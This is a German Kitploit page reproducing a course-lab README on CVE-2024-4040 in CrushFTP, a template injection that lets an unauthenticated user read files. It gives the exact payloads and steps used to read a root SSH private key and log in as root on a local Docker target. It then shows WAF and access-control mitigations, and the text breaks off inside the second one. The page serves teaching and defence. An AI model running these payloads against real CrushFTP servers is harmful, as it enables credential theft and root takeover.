Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CrushFTP-SSTI-LFI-Proof-of-Concept — Proof-of-concept für CVE-2024-4040 (CrushFTP SSTI -> nicht authentifiziertes LFI) in einer kontrollierten CS443-Lab-Umgebung - nur für Bildungs-/autorisierte Zwecke. | Kitploit
Tools/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungLabs & Praxis
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

Proof-of-concept für CVE-2024-4040 (CrushFTP SSTI -> nicht authentifiziertes LFI) in einer kontrollierten CS443-Lab-Umgebung - nur für Bildungs-/autorisierte Zwecke.

Repository anzeigen
5vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-4040 — CrushFTP SSTI / LFI Proof of Concept

Nur für Bildungs- und autorisierte Laborzwecke.
CS443 Software- und Systemsicherheit — kontrollierte lokale Docker-Umgebung.


Schwachstellenübersicht

FeldDetails
CVECVE-2024-4040
Betroffene SoftwareCrushFTP < 10.7.1 (v10-Zweig) / < 11.1.0 (v11-Zweig)
Art der SchwachstelleServer-Side Template Injection (SSTI) → Nicht authentifiziertes Lesen lokaler Dateien
CVSS-Score9.8 Kritisch
AuswirkungenNicht authentifizierte Angreifer können beliebige Dateien vom Server-Dateisystem lesen

Das WebInterface von CrushFTP wertet Template-Ausdrücke im path-Parameter des zip-Befehls ohne Bereinigung aus. Ein nicht authentifizierter Angreifer kann anonyme Sitzungscookies erlangen und diese Cookies verwenden, um Template-Payloads ({working_dir}, <INCLUDE>…</INCLUDE>) zu übergeben, die der Server auswertet und zurückgibt — was das Lesen beliebiger Dateien auf dem gesamten Host ermöglicht.


Laborumgebung

KomponenteWert
Zielhttp://localhost:8080
Basis-PoC-CrushFTP-Version10.3.0 (absichtlich verwundbar)
Testumgebung für Gegenmaßnahme 3Separater Container mit CrushFTP 11.x (gepatchter Zweig)
SSH-Port (Container)2222 → 22
Admin-Zugangsdatenadmin / admin
Container-LaufzeitDocker (Compose)

Voraussetzungen

pip install requests rich

Skripte

SkriptQuelleZweck
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCVollständiger SSTI/LFI-Exploit — Sitzungsdiebstahl, Lesen beliebiger Dateien
recon.pyDieses RepositoryVersionserkennung, Live-SSTI-Test, Bestätigung der Schwachstelle

Proof-of-Concept-Durchlauf

Schritt 1 — Labor starten

docker-compose up -d

Warte etwa 10 Sekunden, bis CrushFTP vollständig initialisiert ist, bevor du die Skripte ausführst. Hier ist kein separater Recon-Schritt erforderlich, da crushed.py während der Ausführung bereits prüft, ob ein Exploit möglich ist.


Schritt 2 — SSH-Private-Key per LFI stehlen

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Das Skript wird:

  1. Eine anonyme CrushAuth-/currentAuth-Sitzung von /WebInterface/ abrufen
  2. SSTI verwenden, um die Template-Auswertung zu bestätigen und den Server-Hostnamen preiszugeben
  3. {working_dir} verwenden, um das CrushFTP-Installationsverzeichnis aufzulösen
  4. <INCLUDE>/root/.ssh/id_rsa</INCLUDE> verwenden, um die Zieldatei zu lesen
  5. Den rohen Dateiinhalt auf stdout ausgeben

Kopiere den Private-Key-Block aus der Ausgabe (alles von -----BEGIN OPENSSH PRIVATE KEY----- bis -----END OPENSSH PRIVATE KEY-----).


Schritt 3 — Den gestohlenen Schlüssel speichern

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Schritt 4 — Per SSH als Root in den Container einloggen

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Schritt 5 — Root-Zugriff bestätigen

whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

Diagramm der Angriffskette

Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

Bekannte Hauptprobleme in crushed.py

ProblemStelleDetails
Fehlende AbhängigkeitZeile 6–9Erfordert pip install rich vor der Ausführung
Instabiles XML-ParsingZeilen 86, 140Stürzt bei Nicht-XML-Serverantworten ab; keine ParseError-Behandlung
Token-Regex zu strengZeilen 160–161Das Muster CrushAuth=…; currentAuth=… passt möglicherweise nicht auf alle sessions.obj-Formate
Nur HTTP 404Zeile 53Cookie-Abruf gelingt nur bei 404; bei anderen Statuscodes wird stillschweigend fortgefahren

Gegenmaßnahmen

Gegenmaßnahme 1 — Web Application Firewall (NGINX + ModSecurity)

Übersicht

Eine WAF fungiert als Reverse-Proxy, der eingehenden HTTP/S-Datenverkehr prüft, bevor er CrushFTP erreicht. Mit NGINX und ModSecurity werden bösartige Anfragen, die CVE-2024-4040 ausnutzen, am Netzwerkrand blockiert, ohne CrushFTP selbst zu verändern.

Wie sie CVE-2024-4040 entschärft

  • Blockiert Path-Traversal-Muster (z. B. ../, %2e%2e) in Anfrage-URIs und Cookies
  • Verhindert, dass nicht authentifizierte VFS-Escape-Anfragen CrushFTP erreichen
  • Protokolliert und verweigert verdächtige Payloads, bevor sie die Anwendung erreichen

Docker-Einrichtung

Verwende Mitigation 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX-Konfiguration

Verwende Mitigation 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Datenverkehrsfluss

Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Einschränkungen

  • Behebt die Ursache nicht – CrushFTP bleibt verwundbar, wenn die WAF umgangen wird
  • Erfordert Regelupdates, da Angreifer Verschleierungstechniken entwickeln

Gegenmaßnahme 2 — Anonymen Benutzerzugriff deaktivieren

Übersicht

CVE-2024-4040 ist ohne Authentifizierung ausnutzbar. In diesem Labor wird anonymer Zugriff auf der NGINX-Ebene blockiert, indem ein Authorization-Header verlangt wird, bevor sensible Routen an CrushFTP weitergeleitet werden.

Wie sie CVE-2024-4040 entschärft

  • Exploit-Skripte wie crushed.py verlassen sich auf nicht authentifizierten Zugriff; Anfragen ohne Anmeldedaten werden mit 401 abgelehnt
  • Anfragen an /WebInterface/ und / werden verweigert, sofern keine Authentifizierungsdaten vorhanden sind
  • Verringert die Gefährdung verwundbarer Endpunkte durch nicht authentifizierte Benutzer

Docker-Einrichtung (exakt aus Mitigation 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX-Richtlinie (exakt aus Mitigation 2/nginx.conf)

events {}
http {
  server {
    listen 80;
Tool herunterladen